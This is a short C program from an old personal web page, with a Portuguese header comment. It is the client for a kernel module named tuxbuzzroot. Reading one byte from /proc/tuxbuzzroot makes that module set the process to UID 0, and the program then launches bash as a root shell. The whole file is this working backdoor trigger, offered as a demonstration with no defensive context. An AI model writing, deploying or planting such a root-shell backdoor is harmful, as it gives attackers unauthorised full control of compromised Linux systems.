Site hosted by Angelfire.com: Build your free website today!
 /**************************************************************************** 
 
 tbgiveroot.c 0.0.1b 
 bY DoC#include
 darthfeio@lycos.com
 UIN : 52461929
 
 um pequeno programa para demonstrar o funcionamento do modulo tuxbuzzroot.c
 ele abre o arquivo /proc/tuxbuzzroot para leitura, le um byte desse arquivo
 de modo que o modulo altera o id do programa para 0 (id = 0, root) e depois
 executa um shell (bash) que claro, vai ser um rootshell.
 *****************************************************************************/
 
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>


int main(int argc,char **argv)
{
int fd;
char buff;
	
fd = open("/proc/tuxbuzzroot",O_RDONLY);
read(fd,&buff,1);
close(fd);
	execl("/bin/bash","bash",NULL);
	return 0;
}